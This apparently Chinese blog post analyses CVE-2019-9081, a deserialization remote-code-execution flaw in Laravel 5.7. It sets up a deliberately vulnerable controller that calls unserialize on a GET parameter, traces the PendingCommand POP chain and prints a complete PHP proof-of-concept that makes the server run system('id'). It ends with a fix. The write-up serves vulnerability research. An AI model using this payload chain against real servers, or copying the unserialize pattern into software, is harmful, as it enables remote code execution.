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laravelv5.7反序列化rce(CVE-2019-9081)
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<a href="/2019/02/21/laravelv5-7反序列化rce/" class="archive-article-date">
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<p>laravel 5.7是一款基于php 7.1.3之上运行的优秀php开发框架。本周对于laravel v5.7进行初步审计学习。发掘到一个laravel核心包中的一个反序列化rce漏洞。只要反序列化的内容可控即可触发该漏洞。但遗憾的是，我没能在laravel框架中找到合适的触发点，因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计，寻找可控的反序列化点，才能触发该漏洞。</p>
</blockquote>
<a id="more"></a>
<h3 id="漏洞详情"><a href="#漏洞详情" class="headerlink" title="漏洞详情"></a>漏洞详情</h3><h5 id="漏洞demo"><a href="#漏洞demo" class="headerlink" title="漏洞demo"></a>漏洞demo</h5><p>由于我没有找到laravel框架触发反序列化的点，因此我们需要自己构造一个漏洞demo，用作poc的验证。</p>
<p>在<code>routes/web.php</code>文件中添加这样一条路由记录:<code>Route::get('/index', 'TaskController@index');</code></p>
<p>接下来在<code>app/Http/Controllers</code>文件夹下创建文件<code>TaskController.php</code>，源码如下:<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">App</span>\<span class="title">Http</span>\<span class="title">Controllers</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TaskController</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">index</span><span class="params">()</span></span>{</span><br><span class="line"> unserialize($_GET[<span class="string">'p'</span>]);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"22222"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure></p>
<h5 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h5><p>首先我们来对比一下laravel v5.6和laravel v5.7下<code>vendor/laravel/framework/src/Illuminate/Foundation/Testing</code>文件夹中的区别：</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/1.png" alt=""></p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/2.png" alt=""></p>
<p>可以看到在v5.7版本中多了一个<code>PendingCommand.php</code>文件。我们再来看看官方文档对于这个文件的解释。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/3.png" alt=""></p>
<p>其主要功能是用作命令执行，并且获取输出内容。</p>
<p>阅读代码我们可以看到<code>PendingCommand.php</code>文件定义了<code>PendingCommand</code>类，该类存在<code>__destruct</code>方法，忘了哪位大牛说过，<code>__destruct</code>永远是反序列化漏洞的最佳攻击点。而在<code>PendingCommand</code>类的<code>__destruct</code>方法中调用了该类的<code>run</code>方法。在<code>run</code>方法的头顶，赫然写着<code>Execute the command.</code>。攻击思路很明显了，通过反序列化触发<code>PendingCommand</code>类的<code>__destruct</code>析构函数，进而调用其<code>run</code>方法实现代码执行。接下来就要开始构造pop链。</p>
<p>在构造payload之前，我先简单的介绍一下<code>PendingCommand</code>类中的几个重要属性：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$this->app; //一个实例化的类 Illuminate\Foundation\Application</span><br><span class="line">$this->test; //一个实例化的类 Illuminate\Auth\GenericUser</span><br><span class="line">$this->command; //要执行的php函数 system</span><br><span class="line">$this->parameters; //要执行的php函数的参数 array('id')</span><br></pre></td></tr></table></figure></p>
<p>我们传入payload看看具体流程走向。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/4.png" alt=""></p>
<p>将我们构造好的序列化数据通过参数p传入，查看调用栈可以看到，在进行反序列化时，成功进入<code>PendingCommand</code>类的析构函数。并且这里的<code>$this->hasExecuted</code>默认定义就是false。导致我们很顺利进入<code>$this->run()</code>方法。<code>run</code>方法的代码如下:</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/5.png" alt=""></p>
<p>我们首先需要进入<code>$this->mockConsoleOutput()</code>方法。这个方法的也是困扰了我很久，差一点没能绕过这个方法。最后是在吃完晚饭之后，灵光一现突然想到bypass的方法。我们跟进看看代码逻辑。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/6.png" alt=""></p>
<p>在<code>$this->mockConsoleOutput()</code>使用<code>Mockery::mock</code>实现对象模拟，具体如何实现我们不去关心，目前的首要任务是顺利走通这段代码。我们将关注点放在<code>$this->createABufferedOutputMock()</code>，继续跟进<code>$this->createABufferedOutputMock()</code>函数。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/7.png" alt=""></p>
<p>这里又进行一次对象模拟，但是着不重要，我们重点看我打上箭头的地方。要求获取<code>$this->test</code>这个类中的<code>expectedOutput</code>属性，并且遍历该属性。按道理来说<code>$this->test</code>这个类应该存在<code>expectedOutput</code>属性，我们才能顺利地执行下文代码。很不幸，在我们可以实例化的类中，没有一个类存在<code>expectedOutput</code>属性。只有一些测试类才有这个属性。这也是困扰我很久的地方。</p>
<p>但我们仔细看看这段代码会发现，我们需要的只是一个返回内容而已，只需要有返回内容，使得代码进入循环流程我们便能走通这段代码。因此我们可以利用<code>__get</code>魔术方法来返回我们需要的内容。我这里选取的是<code>Illuminate\Auth\GenericUser</code>类。其<code>__get</code>魔术方法的逻辑如下：</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/8.png" alt=""></p>
<p>而<code>$this->attributes</code>通过反序列化是可控的，因此我们可以构造<code>$this->attributes</code>键名为<code>expectedOutput</code>的数组。这样一来<code>$this->test->expectedOutput</code>就会返回<code>$this->attributes</code>中键名为<code>expectedOutput</code>的数组。<code>$this->createABufferedOutputMock()</code>的代码也就顺利走通了。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/9.png" alt=""></p>
<p>接下来回到<code>$this->mockConsoleOutput()</code>方法，可以看到这里有一段和<code>$this->createABufferedOutputMock()</code>中相似的代码，我们的目的只是走通这段代码，进入下面的流程，因此不需要关心他具体的实现，只要能顺利执行，不报错，不产生异常就行。使用和<code>$this->createABufferedOutputMock()</code>同样的绕过办法，在<code>$this->attributes</code>中定义键名为<code>expectedQuestions</code>的数组即可。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/10.png" alt=""></p>
<p>之后，我们继续运行就能走出<code>$this->mockConsoleOutput()</code>方法。接下来，就是最关键的产生漏洞的代码点。</p>
<p><code>$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);</code>。</p>
<p>这行代码相当令人费解，我为了更加直观的表述，新增两个变量。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$aaa=Kernel::class;</span><br><span class="line">$fff=$this->app[Kernel::class];</span><br><span class="line">$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);</span><br></pre></td></tr></table></figure>
<p><code>Kernel::class</code>在这里是一个固定值<code>Illuminate\Contracts\Console\Kernel</code>，我们不去管他。重点是<code>$this->app[Kernel::class]</code>这句代码。跟踪这句代码，我们会得到以下调用栈：</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/11.png" alt=""></p>
<p>通过整体跟踪，猜测开发者的本意应该是实例化<code>Illuminate\Contracts\Console\Kernel</code>这个类，但是在<code>getConcrete</code>这个方法中出了问题，导致可以利用php的反射机制实例化任意类。问题出在<code>vendor/laravel/framework/src/Illuminate/Container/Container.php</code>的704行，可以看到这里判断<code>$this->bindings[$abstract])</code>是否存在，若存在则返回<code>$this->bindings[$abstract]['concrete']</code>。</p>
<p><code>$bindings</code>是<code>vendor/laravel/framework/src/Illuminate/Container/Container.php</code>文件中<code>Container</code>类中的属性。因此我们只要寻找一个继承自<code>Container</code>的类，即可通过反序列化控制 <code>$this->bindings</code>属性。而<code>Illuminate\Foundation\Application</code>恰好继承自<code>Container</code>类，这就是我选择<code>Illuminate\Foundation\Application</code>对象放入<code>$this->app</code>的原因。由于我们已知<code>$abstract</code>变量为<code>Illuminate\Contracts\Console\Kernel</code>，所以我们只需通过反序列化定义<code>Illuminate\Foundation\Application</code>的<code>$bindings</code>属性存在键名为<code>Illuminate\Contracts\Console\Kernel</code>的二维数组就能进入该分支语句，返回我们要实例化的类名。在这里返回的是<code>Illuminate\Foundation\Application</code>类。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/12.png" alt=""></p>
<p>之后便步出<code>$this->getConcrete</code>方法。使用<code>$this->isBuildable</code>方法，判断是否可进行实例化。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/13.png" alt=""></p>
<p>具体判断逻辑如下：</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/14.png" alt=""></p>
<p>很明显我们现在不满足条件，因此进入<code>$this->make</code>方法，同样的流程再循环一遍。第二遍循环时，在<code>$this->getConcrete</code>环节还是获取我们定义的<code>Illuminate\Foundation\Application</code>，这样一来使得<code>$this->isBuildable</code>中的<code>$concrete === $abstract</code>条件成立。因此我们进入<code>$this->build</code>方法。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/15.png" alt=""></p>
<p>在<code>$this->build</code>方法中，就能看到使用<code>ReflectionClass</code>反射机制，实例化我们传入的类。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/16.png" alt=""></p>
<p>成功实例化类，最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload，<code>$this->app[Kernel::class]</code>最终返回的内容就是我们创建的<code>Illuminate\Foundation\Application</code>类的对象。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/17.png" alt=""></p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/18.png" alt=""></p>
<p>继续往下跟踪，已经接近胜利了。在返回一个对象之后，又调用了<code>call</code>方法。实际上<code>Illuminate\Foundation\Application</code>类没有<code>call</code>方法，但是它的父类<code>Illuminate\Container\Container</code>是有<code>call</code>方法的。因此，在这里会直接跳转到<code>Illuminate\Container\Container</code>类中的<code>call</code>方法。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/19.png" alt=""></p>
<p>跟进<code>BoundMethod</code>对象的<code>call</code>方法。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/20.png" alt=""></p>
<p>不满足第一个分支语句，直接进入第二行。前面的<code>static::callBoundMethod</code>只是判断我们的<code>$callback</code>是否为数组。这个不重要，我们关注后面的匿名函数。这个匿名函数直接调用<code>call_user_func_array</code>，并且第一个参数我们可控，参数值为<code>system</code>，第二个参数由<code>static::getMethodDependencies</code>方法返回。跟进<code>static::getMethodDependencies</code>方法看看。</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/21.png" alt=""></p>
<p><code>static::getCallReflector($callback)</code>这句用于利用反射获取<code>$callback</code>的对象，继续往下执行<code>static::addDependencyForCallParameter</code>，会对<code>$callback</code>的对象添加一些参数，但是这些不重要。最后一行才是关键。</p>
<p>最后将我们传入的<code>$parameters</code>参数数组和<code>$dependencies</code>数组合并，<code>$dependencies</code>数组为空。</p>
<p>最后在<code>BoundMethod</code>对象的<code>call</code>方法中我们相当于执行了以下代码:</p>
<p><code>call_user_func_array('system',array('id'))</code></p>
<p>pop链构造成功，get代码执行。之后就很顺畅，一路输出执行内容，完美ending！！！！</p>
<p>最后附上漏洞证明：</p>
<p><img src="/2019/02/21/laravelv5-7反序列化rce/22.png" alt=""></p>
<p>需要注意的一点，该漏洞只对laravel v5.7版本有效。laravel v5.6不存在<code>PendingCommand.php</code>文件。</p>
<h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//gadgets.php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Foundation</span>\<span class="title">Testing</span>{</span><br><span class="line"> <span class="title">class</span> <span class="title">PendingCommand</span>{</span><br><span class="line"> <span class="title">protected</span> $<span class="title">command</span>;</span><br><span class="line"> <span class="keyword">protected</span> $parameters;</span><br><span class="line"> <span class="keyword">protected</span> $app;</span><br><span class="line"> <span class="keyword">public</span> $test;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($command, $parameters,$class,$app)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->command = $command;</span><br><span class="line"> <span class="keyword">$this</span>->parameters = $parameters;</span><br><span class="line"> <span class="keyword">$this</span>->test=$class;</span><br><span class="line"> <span class="keyword">$this</span>->app=$app;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Auth</span>{</span><br><span class="line"> <span class="title">class</span> <span class="title">GenericUser</span>{</span><br><span class="line"> <span class="title">protected</span> $<span class="title">attributes</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">(array $attributes)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->attributes = $attributes;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Foundation</span>{</span><br><span class="line"> <span class="title">class</span> <span class="title">Application</span>{</span><br><span class="line"> <span class="title">protected</span> $<span class="title">hasBeenBootstrapped</span> = <span class="title">false</span>;</span><br><span class="line"> <span class="keyword">protected</span> $bindings;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($bind)</span></span>{</span><br><span class="line"> <span class="keyword">$this</span>->bindings=$bind;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">//chain.php</span></span><br><span class="line"><span class="keyword">include</span>(<span class="string">"gadgets.php"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> Illuminate\Foundation\Testing\PendingCommand(<span class="string">"system"</span>,<span class="keyword">array</span>(<span class="string">'id'</span>),<span class="keyword">new</span> Illuminate\Auth\GenericUser(<span class="keyword">array</span>(<span class="string">"expectedOutput"</span>=><span class="keyword">array</span>(<span class="string">"0"</span>=><span class="string">"1"</span>),<span class="string">"expectedQuestions"</span>=><span class="keyword">array</span>(<span class="string">"0"</span>=><span class="string">"1"</span>))),<span class="keyword">new</span> Illuminate\Foundation\Application(<span class="keyword">array</span>(<span class="string">"Illuminate\Contracts\Console\Kernel"</span>=><span class="keyword">array</span>(<span class="string">"concrete"</span>=><span class="string">"Illuminate\Foundation\Application"</span>))))));</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>运行chain.php文件即可得到payload，将payload传入p参数即可。</p>
<h3 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h3><p>最有效的方法是删除<code>__destruct</code>中的<code>$this->run()</code>。</p>
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缺失模块。<br/>1、请确保node版本大于6.2<br/>2、在博客根目录（注意不是yilia根目录）执行以下命令：<br/> npm i hexo-generator-json-content --save<br/><br/>
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